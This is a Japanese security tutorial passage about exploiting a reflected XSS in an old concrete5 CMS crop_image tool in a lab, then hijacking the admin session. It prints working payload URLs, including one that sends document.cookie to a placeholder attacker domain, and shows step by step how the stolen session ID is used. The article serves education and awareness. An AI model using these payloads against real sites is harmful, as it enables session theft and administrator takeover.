CMSに残る反射型XSSを使ったセッションハイジャック：試してみなけりゃ分からない？ 古いWebアプリの脆弱性（3）（2/2 ページ）

今回は反射型クロスサイトスクリプティング（XSS）の脆弱性を使ったセッションハイジャックにチャレンジし、その危険性を確認したい。

[山本洋介山（bogus.jp），＠IT]

XSS脆弱性を試してみる

　ここからようやく脆弱性を試すことになる。

　このconcrete5ではcrop_imageという画像編集ツールが使用されている。これを開く際のパラメータとして外部から入力された文字が、そのまま表示される。そこでパラメータに任意のスクリプトタグを指定することで、URLを開いたユーザーのブラウザ上で任意のスクリプトを実行できる。

　具体的には以下のようなURLになる。

http://（xammpのIPアドレス）/concrete5/index.php/tools/blocks/image/crop_image?bID=70&width=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&height=212&fID=2

　この脆弱性をどのようにして見つけたのか、気になる人がいるかもしれない。実をいうと、ただ単純にソースコードに「echo $_GET(…)」とエスケープされていない部分を見つけたので、該当のURLに直接アクセスしてみただけだ。

　まずこのXSSを試してみよう。

　しかしながらこのURLはログインしたユーザーにしか有効ではないため、URLにアクセスする前に、やられ役のFirefoxでconcrete5の管理ページ（/concrete5/index.php/login/）にログインしておく必要がある。

別のPCからadminユーザーでconcrete5にログインしたところ。面倒ならconcrete5をインストールしたサーバのままでもかまわない

　そして、上記XSSのURLにアクセスしてみよう。

　すると「1」というダイアログが表示されるはずだ。これでスクリプトが実行されたことが分かる。

URLにアクセスするとXSSによりダイアログが開く。とはいえこれだけでは、ちょっとしたサプライズに過ぎない

セッションハイジャックは可能か？

　XSS脆弱性があることが分かったので、これを用いてセッションハイジャックを行うことにする。

　最近のWebアプリケーションではたいてい、Cookieを使ったセッション管理が行われている。ここでは、HTTPがステートレスなので……といった原理についての話は省略するが、CookieにセッションIDという文字列を設定し、それによって「先ほどログインしたユーザーと、次にアクセスしたユーザーが同じブラウザを使っている」ことをサーバに分からせるのだ。従って、このセッションIDを盗んで使えば、簡単になりすましが可能となる。

　XSSを使用したセッションハイジャックの流れは以下のようになる。

1. XSSを利用した攻撃URLがconcrete5の管理者に届く（メールやSNSが利用されることが多いだろう）
2. concrete5の管理者がURLにアクセス→セッションIDが攻撃者に送信される
3. 送信されたセッションIDを使い攻撃者がconcrete5にアクセス
4. なりすまし完成

　一人二役ですべてを行ってもいいが、いろいろ面倒なので端折って試してみる。

　まず、管理者のところにメールで以下のURLが送られてきたと仮定して、先ほどログインしたブラウザから以下のURLにアクセスする。

http://（xammpのIPアドレス）/concrete5/index.php/tools/blocks/image/crop_image?bID=70&width=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&height=212&fID=2

　すると、

CONCRETE5=f9camthgdm57p1n136t7bbhl23

のようなアラートが出現するだろう（「=」以下は全員違う）。これは何かというと、Concrete5のセッションIDだ。

URLにアクセスするとCookieのデータが書かれたダイアログが開く。concrete5はCookieにセッションIDのみが書かれているシンプルな仕様だ

　このセッションIDを別のブラウザにセットすることでセッションハイジャックを行い、別のユーザーになりすますことができるのだ。

　実際には攻撃者がCookieを受け取るためにリダイレクトさせたり<iframe>タグを使って攻撃者のサーバにアクセスさせる必要がある。ただ、攻撃者側の受け取る環境を整えるのも大変だろうから、ここは省略して、このCookieが攻撃者の手に渡ったと仮定する。

参考：単純なリダイレクトで他のWebサーバにCookieの値を書き込むXSS

http://（xammpのIPアドレス）/concrete5/index.php/tools/blocks/image/crop_image?bID=70&width="><script>location.href='http://（攻撃者のドメイン）/?'%2bdocument.cookie</script>

　セッションハイジャックを行うために使うブラウザは、先ほど「Edit This Cookie」をインストールしたChromeだ。Chromeを開き、やられ役ブラウザと同様にconcrete5のサイトにアクセスする。

http://（xammpのIPアドレス）/concrete5/

　次に、左上にある「Edit This Cookie」のアイコンをクリックする。すると図のようなダイアログが表示されるだろう。CONCRETE5はCONCRETE5というパラメータしか設定されていないようなので、その値が表示されている。

「Edit This Cookie」を開くと、Chromeに設定されたconcrete5のセッションIDが見える

　ここに先ほどダイアログで表示された値のうち、=よりも右側の値を、この値が表示されているところに上書きする。そして「Cookieの変更を適用」ボタンをクリックする。これでCookieの書き換えが成功したので「Edit This Cookie」を閉じる。

Cookieの値を先ほどXSSで取得した値に上書きする

　そしてChromeのリロードボタンをクリックする。するとログインもしていないのに管理メニューが表示されているはずだ。表示されているとセッションハイジャック成功。管理者になれた。

リロードすると、ログインしていないにもかかわらず管理画面に入っている

　簡単なことだが、これでなりすましは完成だ。普通に管理者としてページの作成やユーザーの管理などが行えるし、管理者のパスワードを変更してしまえば、元々の管理者を差し置いて自分しかアクセスできないようにもできる。

管理者のパスワードを変更すると自分しかログインできないようにだってできる

　「XSSってただダイアログが表示されるだけじゃない。何が危険なの？」と考えている人も多いかもしれないが、XSSの脆弱性が存在すると、URLにアクセスしてしまうだけで簡単にセッションハイジャックが可能となることが分かっただろう。

まだまだある、ブログツールやCMSのXSS

　最近では、広く使われているCMSツールの本体ではあまりXSS脆弱性が報告されなくなっている。脆弱性への対応が進んでいるのだろう。しかし、サードパーティが提供するプラグインやテーマには、まだまだXSS脆弱性が残ったものがあり、数多く報告されている。特に商用サイトなどでは、便利なプラグインだからといって安全性を確認せずに使用するのはやめておく方がいいだろう。

　また、マルチユーザーで使用可能なCMSには、セッションハイジャックにより、権限の低いユーザーの権限昇格が可能となるXSSがよく見られる。この結果、権限の低いユーザーが自由にページに任意のタグを埋め込むといったことが可能となってしまう。XSSによるユーザーの権限上昇について考慮していない（脆弱性として報告しても放置される）CMSもまだまだ多いので、こうした部分にも考慮しながら運用を行う必要があるだろう。

著者プロフィール

山本洋介山

bogus.jp

猫と一緒に自宅の警備をする傍ら、「twitterセキュリティネタまとめ」というブログを日々更新しているtwitterウォッチャー。セキュリティやネットワークに関する原稿も書いてます。